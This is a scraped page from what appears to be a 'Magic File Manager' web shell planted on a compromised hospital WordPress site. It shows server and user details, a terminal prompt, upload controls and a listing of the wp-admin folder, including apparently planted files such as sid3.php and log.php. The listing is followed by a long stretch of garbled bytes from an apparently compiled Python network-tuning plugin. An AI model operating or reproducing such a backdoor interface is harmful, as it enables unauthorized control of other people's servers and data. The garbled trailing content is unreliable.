✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 À<×eÔZã@spddlZddlmZddlTddlZddlmZddlm Z ddl Z ddl Z ej j ƒZdZGdd „d ejƒZdS) éNé)Úhotplug)Ú*)Úethcard)ÚcommandsZpumbagsdcs.eZdZdZ‡fdd„Zdd„Zdd„Zdd „Zd d „Zd d „Z dd„Z e dd„ƒZ e dd„ƒZ e dd„ƒZe dd„ƒZe dd„ƒZdd„Zdd„Zdd„Zd d!„Zd"d#„Zd$d%„Zd&d'„Ze d(d)„ƒZed*d+d,�d-d.„ƒZed*ƒdid0d1„ƒZed2ƒd3d4„ƒZed2ƒd5d6„ƒZgfd7d8„Zdjd:d;„Z ed„ƒZ!d?d@„Z"ed<ƒdkdAdB„ƒZ#edCd+d,�dDdE„ƒZ$edCƒdldFdG„ƒZ%dHdI„Z&dJdK„Z'dLdM„Z(dNdO„Z)dPdQ„Z*dRdS„Z+dTdU„Z,dmdVdW„Z-dXdY„Z.e/dZd+d,�d[d\„ƒZ0e/d]d+d,�d^d_„ƒZ1e/d`d+d,�dadb„ƒZ2e/dcd+d,�ddde„ƒZ3e/dfd+d,�dgdh„ƒZ4‡Z5S)nÚNetTuningPluginaç `net`:: Configures network driver, hardware and Netfilter settings. Dynamic change of the interface speed according to the interface utilization is also supported. The dynamic tuning is controlled by the [option]`dynamic` and the global [option]`dynamic_tuning` option in `tuned-main.conf`. + The [option]`wake_on_lan` option sets wake-on-lan to the specified value as when using the `ethtool` utility. + .Set Wake-on-LAN for device eth0 on MagicPacket(TM) ==== ---- [net] devices=eth0 wake_on_lan=g ---- ==== + The [option]`coalesce` option allows changing coalescing settings for the specified network devices. The syntax is: + [subs="+quotes,+macros"] ---- coalesce=__param1__ __value1__ __param2__ __value2__ ... __paramN__ __valueN__ ---- Note that not all the coalescing parameters are supported by all network cards. For the list of coalescing parameters of your network device, use `ethtool -c device`. + .Setting coalescing parameters rx/tx-usecs for all network devices ==== ---- [net] coalesce=rx-usecs 3 tx-usecs 16 ---- ==== + The [option]`features` option allows changing the offload parameters and other features for the specified network devices. To query the features of your network device, use `ethtool -k device`. The syntax of the option is the same as the [option]`coalesce` option. + .Turn off TX checksumming, generic segmentation and receive offload ==== ---- [net] features=tx off gso off gro off ---- ==== The [option]`pause` option allows changing the pause parameters for the specified network devices. To query the pause parameters of your network device, use `ethtool -a device`. The syntax of the option is the same as the [option]`coalesce` option. + .Disable autonegotiation ==== ---- [net] pause=autoneg off ---- ==== + The [option]`ring` option allows changing the rx/tx ring parameters for the specified network devices. To query the ring parameters of your network device, use `ethtool -g device`. The syntax of the option is the same as the [option]`coalesce` option. + .Change the number of ring entries for the Rx/Tx rings to 1024/512 respectively ===== ----- [net] ring=rx 1024 tx 512 ----- ===== + The [option]`channels` option allows changing the numbers of channels for the specified network device. A channel is an IRQ and the set of queues that can trigger that IRQ. To query the channels parameters of your network device, use `ethtool -l device`. The syntax of the option is the same as the [option]`coalesce` option. + .Set the number of multi-purpose channels to 16 ===== ----- [net] channels=combined 16 ----- ===== + A network device either supports rx/tx or combined queue mode. The [option]`channels` option automatically adjusts the parameters based on the mode supported by the device as long as a valid configuration is requested. + The [option]`nf_conntrack_hashsize` option sets the size of the hash table which stores lists of conntrack entries by writing to `/sys/module/nf_conntrack/parameters/hashsize`. + .Adjust the size of the conntrack hash table ==== ---- [net] nf_conntrack_hashsize=131072 ---- ==== + The [option]`txqueuelen` option allows changing txqueuelen (the length of the transmit queue). It uses `ip` utility that is in package iproute recommended for TuneD, so the package needs to be installed for its correct functionality. To query the txqueuelen parameters of your network device use `ip link show` and the current value is shown after the qlen column. + .Adjust the length of the transmit queue ==== ---- [net] txqueuelen=5000 ---- ==== + The [option]`mtu` option allows changing MTU (Maximum Transmission Unit). It uses `ip` utility that is in package iproute recommended for TuneD, so the package needs to be installed for its correct functionality. To query the MTU parameters of your network device use `ip link show` and the current value is shown after the MTU column. + .Adjust the size of the MTU ==== ---- [net] mtu=9000 ---- ==== cs6tt|ƒj||Žd|_d|_tƒ|_i|_d|_dS)Ngš™™™™™©?éT) ÚsuperrÚ__init__Ú_load_smallestÚ _level_stepsrÚ_cmdÚ_re_ip_link_showÚ_use_ip)ÚselfÚargsÚkwargs)Ú __class__©ú /usr/lib/python3.6/plugin_net.pyr šs zNetTuningPlugin.__init__cCshd|_tƒ|_tƒ|_tjdƒ}x.|jjdƒD]}|j|j ƒr.|jj |j ƒq.Wt j dt|jƒƒdS)NTz(?!.*/virtual/.*)Únetz devices: %s)Z_devices_supportedÚsetZ _free_devicesZ_assigned_devicesÚreÚcompileÚ_hardware_inventoryZ get_devicesÚmatchZ device_pathÚaddZsys_nameÚlogÚdebugÚstr)rZre_not_virtualÚdevicerrrÚ _init_devices¢s  zNetTuningPlugin._init_devicescs‡fdd„|DƒS)Ncsg|]}ˆjjd|ƒ‘qS)r)rZ get_device)Ú.0Úx)rrrú ¯sz7NetTuningPlugin._get_device_objects..r)rZdevicesr)rrÚ_get_device_objects®sz#NetTuningPlugin._get_device_objectscCsXd|_|j|jdƒr.ÚlevelrÚreadÚwriterz%s: setting 100Mbpsédz%s: setting max speedz %s load: read %0.2f, write %0.2fz$%s idle: read %d, write %d, level %d)r(Zget_device_loadr*Ú_init_stats_and_idleÚ _update_statsÚ _update_idler)r rÚinforZ set_speedÚ set_max_speedr)rr+r ÚloadZstatsZidlerrrr/Æs&     ($ z(NetTuningPlugin._instance_update_dynamiccCs2dddddddddddddddddddddddœS)N)z adaptive-rxz adaptive-txzrx-usecsz rx-framesz rx-usecs-irqz rx-frames-irqztx-usecsz tx-framesz tx-usecs-irqz tx-frames-irqzstats-block-usecsz pkt-rate-lowz rx-usecs-lowz rx-frames-lowz tx-usecs-lowz tx-frames-lowz pkt-rate-highz rx-usecs-highzrx-frames-highz tx-usecs-highztx-frames-highzsample-intervalr)ÚclsrrrÚ_get_config_options_coalesceßs,z,NetTuningPlugin._get_config_options_coalescecCs ddddœS)N)ÚautonegÚrxÚtxr)r=rrrÚ_get_config_options_pauseúsz)NetTuningPlugin._get_config_options_pausecCsdddddœS)N)r@zrx-minizrx-jumborAr)r=rrrÚ_get_config_options_ringsz(NetTuningPlugin._get_config_options_ringcCsdddddœS)N)r@rAÚotherÚcombinedr)r=rrrÚ_get_config_options_channelssz,NetTuningPlugin._get_config_options_channelsc Csdddddddddddœ S)NT) r&Ú wake_on_lanÚnf_conntrack_hashsizeÚfeaturesÚcoalesceÚpauseÚringÚchannelsÚ txqueuelenÚmtur)r=rrrÚ_get_config_optionssz#NetTuningPlugin._get_config_optionscCsF|jt|ƒjƒƒ}ddgd|dgdœ|j|<ddddœ|j|<dS)Nérér)ÚnewÚmax)r3r4r5)Ú _calc_speedrZ get_max_speedr*r))rr+r Z max_speedrrrr7sz$NetTuningPlugin._init_stats_and_idlecCsÄ|j|d|j|d<}||j|d<dd„t||ƒDƒ}||j|d<|j|d}dd„t||ƒDƒ}||j|d<t|dƒt|dƒ|j|d <t|d ƒt|d ƒ|j|d <dS) NrSÚoldcSsg|]}|d|d‘qS)rrr)r"Znew_oldrrrr$(sz1NetTuningPlugin._update_stats..ÚdiffrTcSsg|] }t|ƒ‘qSr)rT)r"Zpairrrrr$-srr4rRr5)r*ÚzipÚfloat)rr+r Znew_loadZold_loadrWZ old_max_loadZmax_loadrrrr8"s"zNetTuningPlugin._update_statscCsLxFdD]>}|j|||jkr6|j||d7<qd|j||<qWdS)Nr4r5rr)r4r5)r*r r))rr+r Z operationrrrr94s zNetTuningPlugin._update_idlecCsH||jkrD|j|ddkrDd|j|d<tjd|ƒt|ƒjƒdS)Nr3rz%s: setting max speed)r)rr:rr;)rr+r rrrÚ_instance_unapply_dynamic<sz)NetTuningPlugin._instance_unapply_dynamiccCstd|dƒS)Ng333333ã?iég333333ƒ@g333333#A)r1)rZspeedrrrrUBszNetTuningPlugin._calc_speedcCs„|jj|ƒ}ttjdd|ƒƒjƒ}t|ƒ}|ddkrPtjd|t|ƒfƒdS|dkr^t ƒSt t t |ddd…|ddd…ƒƒƒS)Nz (:\s*)|(\s+)|(\s*;\s*)|(\s*,\s*)ú rRrzinvalid %s parameter: '%s'r) Z _variablesÚexpandrrÚsubÚsplitÚlenrÚerrorÚdictÚlistrX)rr2ÚcontextÚvZlvrrrÚ_parse_config_parametersKs  z(NetTuningPlugin._parse_config_parameterscCs||jjddddddddd d d d d ddddddœ|ƒ}dd„|jdƒDƒ}t|ƒdkrXdStdd„dd„|dd…DƒDƒƒS)Nz adaptive-rx:z adaptive-tx:zrx-frames-low:zrx-frames-high:ztx-frames-low:ztx-frames-high:zlro:zrx:ztx:zsg:ztso:zufo:zgso:zgro:zrxvlan:ztxvlan:zntuple:zrxhash:)z Adaptive RX:z\s+TX:z rx-frame-low:zrx-frame-high:z tx-frame-low:ztx-frame-high:zlarge-receive-offload:zrx-checksumming:ztx-checksumming:zscatter-gather:ztcp-segmentation-offload:zudp-fragmentation-offload:zgeneric-segmentation-offload:zgeneric-receive-offload:zrx-vlan-offload:ztx-vlan-offload:zntuple-filters:zreceive-hashing:cSs2g|]*}tt|ƒƒdkrtjdt|ƒƒ r|‘qS)rz \[fixed\]$)r`rrÚsearch)r"rerrrr$ssz.Ú rRcSsg|]}t|ƒdkr|‘qS)rR)r`)r"Úurrrr$xscSsg|]}tjdt|ƒƒ‘qS)z:\s*)rr_r)r"rerrrr$xsr)r Úmultiple_re_replacer_r`rb)rr2ZvlrrrÚ_parse_device_parametersZs0 z(NetTuningPlugin._parse_device_parameterscCsdS)Nz,/sys/module/nf_conntrack/parameters/hashsizer)rrrrÚ_nf_conntrack_hashsize_pathzsz+NetTuningPlugin._nf_conntrack_hashsize_pathrGT)Z per_devicecCs^|dkr dStjddt|ƒƒ}tjdtd|ƒs@tjdƒdS|sZ|jjdd|d|gƒ|S) NÚ0Údz^[z]+$zIncorrect 'wake_on_lan' value.Úethtoolz-sZwol) rr^rrÚ WOL_VALUESrÚwarnr Úexecute)rr2r ÚsimÚremoverrrÚ_set_wake_on_lan~s z NetTuningPlugin._set_wake_on_lanFc CsXd}y:tjdtd|jjd|gƒdtjƒ}|r<|jdƒ}Wntk rRYnX|S)Nz.*Wake-on:\s*([z]+).*ror)rrrpr rrÚSÚgroupÚIOError)rr Úignore_missingr2ÚmrrrÚ_get_wake_on_lan�s(z NetTuningPlugin._get_wake_on_lanrHcCsN|dkr dSt|ƒ}|dkrF|sB|jj|jƒ||r:tjgndd�|SdSdS)NrF)Zno_error)r1r Z write_to_filerlÚerrnoÚENOENT)rr2rsrtZhashsizerrrÚ_set_nf_conntrack_hashsize˜sz*NetTuningPlugin._set_nf_conntrack_hashsizecCs(|jj|jƒƒ}t|ƒdkr$t|ƒSdS)Nr)r Z read_filerlr`r1)rr2rrrÚ_get_nf_conntrack_hashsize¦s z*NetTuningPlugin._get_nf_conntrack_hashsizecCsz|js dSddg|}|jj|tjgdd�\}}}|tj krRtjdƒd|_dS|rvtjdƒtjd||fƒdS|S) NZipÚlinkT)Ú no_errorsZ return_errz0ip command not found, ignoring for other devicesFzProblem calling ip commandz(rc: %s, msg: '%s')) rr rrr|r}rrqr:r)rrZrcÚoutZerr_msgrrrÚ _call_ip_link­s    zNetTuningPlugin._call_ip_linkNcCsdg}|r|j|ƒ|j|ƒS)NZshow)Úappendrƒ)rr rrrrÚ _ip_link_show¼s zNetTuningPlugin._ip_link_showrNcCsr|dkr dSy t|ƒWn"tk r:tjd|ƒdSX|sn|jdd|d|gƒ}|dkrntjd|ƒdS|S)Nz$txqueuelen value '%s' is not integerrÚdevrNz%Cannot set txqueuelen for device '%s')r1Ú ValueErrorrrqrƒ)rr2r rsrtÚresrrrÚ_set_txqueuelenÂs zNetTuningPlugin._set_txqueuelencCs(||jkrtjd|ƒ|j|<|j|S)z@ Return regex for int arg value from "ip link show" command z.*\s+%s\s+(\d+))rrr)rÚargrrrÚ_get_re_ip_link_showÓs z$NetTuningPlugin._get_re_ip_link_showcCs`|j|ƒ}|dkr(|s$tjd|ƒdS|jdƒj|ƒ}|dkrV|sRtjd|ƒdS|jdƒS)NzECannot get 'ip link show' result for txqueuelen value for device '%s'ZqlenzFCannot get txqueuelen value from 'ip link show' result for device '%s'r)r…rr:r‹rgrw)rr ryr‚rˆrrrÚ_get_txqueuelenÛs zNetTuningPlugin._get_txqueuelenrOcCsr|dkr dSy t|ƒWn"tk r:tjd|ƒdSX|sn|jdd|d|gƒ}|dkrntjd|ƒdS|S)Nzmtu value '%s' is not integerrr†rOzCannot set mtu for device '%s')r1r‡rrqrƒ)rr2r rsrtrˆrrrÚ_set_mtuês zNetTuningPlugin._set_mtucCs`|j|ƒ}|dkr(|s$tjd|ƒdS|jdƒj|ƒ}|dkrV|sRtjd|ƒdS|jdƒS)Nz>Cannot get 'ip link show' result for mtu value for device '%s'rOz?Cannot get mtu value from 'ip link show' result for device '%s'r)r…rr:r‹rgrw)rr ryr‚rˆrrrÚ_get_mtuús zNetTuningPlugin._get_mtucCsl|dkr dSt|jƒƒ}|j|j|j|jdœ}t||ƒjƒƒ}|j|ƒshtjd|t ||ƒfƒdSdS)NrIT)rJrKrLrMzunknown %s parameter(s): %sF) rÚkeysr>rBrCrFÚissubsetrrar)rrdrnZparamsZsupported_getterZ supportedrrrÚ_check_parameters s   z!NetTuningPlugin._check_parameterscCsR|jjddddœ|ƒ}|jdƒdd…}dd„|Dƒ}td d„d d„|DƒDƒƒS) Nr?r@rA)Z AutonegotiateÚRXÚTXrhrcSs&g|]}|dkrtjd|ƒ r|‘qS)Úz \[fixed\])rrg)r"r#rrrr$sz;NetTuningPlugin._parse_pause_parameters..cSsg|]}t|ƒdkr|‘qS)rR)r`)r"r#rrrr$ scSsg|]}tjd|ƒ‘qS)z:\s*)rr_)r"r#rrrr$ s)r rjr_rb)rÚsÚlrrrÚ_parse_pause_parameterss z'NetTuningPlugin._parse_pause_parameterscCsjtjd|tjd�}|d}|jjdddddœ|ƒ}|jd ƒ}d d „|Dƒ}d d „d d „|DƒDƒ}t|ƒS)Nz^Current hardware settings:$)Úflagsrr@zrx-minizrx-jumborA)r’zRX MinizRX Jumbor“rhcSsg|]}|dkr|‘qS)r”r)r"r#rrrr$,sz:NetTuningPlugin._parse_ring_parameters..cSsg|]}t|ƒdkr|‘qS)rR)r`)r"r#rrrr$-scSsg|]}tjd|ƒ‘qS)z:\s*)rr_)r"r#rrrr$-s)rr_Ú MULTILINEr rjrb)rr•Úar–rrrÚ_parse_ring_parameters#s  z&NetTuningPlugin._parse_ring_parameterscCsjtjd|tjd�}|d}|jjdddddœ|ƒ}|jd ƒ}d d „|Dƒ}d d „d d „|DƒDƒ}t|ƒS)Nz^Current hardware settings:$)r˜rr@rArDrE)r’r“ZOtherZCombinedrhcSsg|]}|dkr|‘qS)r”r)r"r#rrrr$:sz>NetTuningPlugin._parse_channels_parameters..cSsg|]}t|ƒdkr|‘qS)rR)r`)r"r#rrrr$;scSsg|]}tjd|ƒ‘qS)z:\s*)rr_)r"r#rrrr$;s)rr_r™r rjrb)rr•ršr–rrrÚ_parse_channels_parameters1s  z*NetTuningPlugin._parse_channels_parameterscCszg}d|kr(|jd|dd|dgƒn,ttt|dƒt|dƒƒƒ}|jd|gƒttt|ddd…|ddd…ƒƒƒS)NrEr@rrAérR)ÚextendrrTr1rbrcrX)rrdZ params_listÚ dev_paramsZmod_params_listZcntrrrÚ_replace_channels_parameters>s z,NetTuningPlugin._replace_channels_parametersc CsRt|jƒƒ}t|jƒƒ}||}x,|D]$}tjd|||fƒ|j|dƒq&WdS)aFilter unsupported parameters and log warnings about it Positional parameters: context -- context of change parameters -- parameters to change device -- name of device on which should be parameters set dev_params -- dictionary of currently known parameters of device z-%s parameter %s is not supported by device %sN)rr�rZwarningÚpop) rrdZ parametersr rŸZsupported_parametersZparameters_to_changeZunsupported_parametersÚparamrrrÚ_check_device_supportGs    z%NetTuningPlugin._check_device_supportc CsŽddddddœ}||}|jjd||gƒ\}}|dksBt|ƒdkrFdS|j|j|j|j|jdœ}||}||ƒ} |d krŠ|j|| ƒ rŠdS| S) Nz-cz-kz-az-gz-l)rJrIrKrLrMrorrJ)r rrr`rkr—r›rœr‘) rrdr Ú context2optÚoptÚretr2Zcontext2parserÚparserrnrrrÚ_get_device_parameters^s  z&NetTuningPlugin._get_device_parametersc Csð|dkst|ƒdkrdS|j||ƒ}|dks:|j||ƒ r>iS|rˆ|j||||ƒ|dkrˆt|tt|ƒƒƒdkrˆ|j||jj |ƒ|ƒ}| rìt|ƒdkrìt j d|t|ƒfƒdddd d d œ}||}|jj d ||g|jj |ƒd gd�|S)NrrMún/armzsetting %s: %sz-Cz-Kz-Az-Gz-L)rJrIrKrLrMroéP)r�)r©rm) r`rfr‘r£rÚnextÚiterr r Ú dict2listrrrr) rrdr2r rsrŸrnr¤r¥rrrÚ_set_device_parametersps   $z&NetTuningPlugin._set_device_parametersc sò|j||d�}|rÒ|j||ƒ}|dks2t|ƒdkr6dS|j|||||d�‰ˆdks^tˆƒdkrbdS‡fdd„|jƒDƒ}t|ƒ}|r´|jjˆƒ|jj|ƒk} |j|| ˆ||d�| S|j j |dj |jj|ƒƒƒn|j j |ƒ} |j|| |dƒdS) N)Z command_nameZ device_namerF)rŸcs g|]\}}|ˆkr||f‘qSrr)r"r¢r2)Ú params_setrrr$—sz6NetTuningPlugin._custom_parameters..)r r\) Z _storage_keyr¨r`r®Úitemsrbr r­Z_log_verification_resultZ_storagerÚjoinÚget) rrdÚstartr2r ÚverifyZ storage_keyZparams_currentZrelevant_params_currentrˆÚoriginal_valuer)r¯rÚ_custom_parameters‡s:     z"NetTuningPlugin._custom_parametersrIcCs|jd||||ƒS)NrI)r¶)rr³r2r r´ryrrrÚ _features­szNetTuningPlugin._featuresrJcCs|jd||||ƒS)NrJ)r¶)rr³r2r r´ryrrrÚ _coalesce±szNetTuningPlugin._coalescerKcCs|jd||||ƒS)NrK)r¶)rr³r2r r´ryrrrÚ_pauseµszNetTuningPlugin._pauserLcCs|jd||||ƒS)NrL)r¶)rr³r2r r´ryrrrÚ_ring¹szNetTuningPlugin._ringrMcCs|jd||||ƒS)NrM)r¶)rr³r2r r´ryrrrÚ _channels½szNetTuningPlugin._channels)F)N)F)F)N)6Ú__name__Ú __module__Ú __qualname__Ú__doc__r r!r%r,r.r0r/Ú classmethodr>rBrCrFrPr7r8r9rZrUrfrkrlZ command_setruZ command_getr{r~rrƒr…r‰r‹rŒr�rŽr‘r—r›rœr r£r¨r®r¶Zcommand_customr·r¸r¹rºr»Ú __classcell__rr)rrrsd                    &r)r|r”rZ decoratorsZ tuned.logsZtunedZtuned.utils.nettoolrZtuned.utils.commandsrÚosrZlogsr²rrpZPluginrrrrrÚs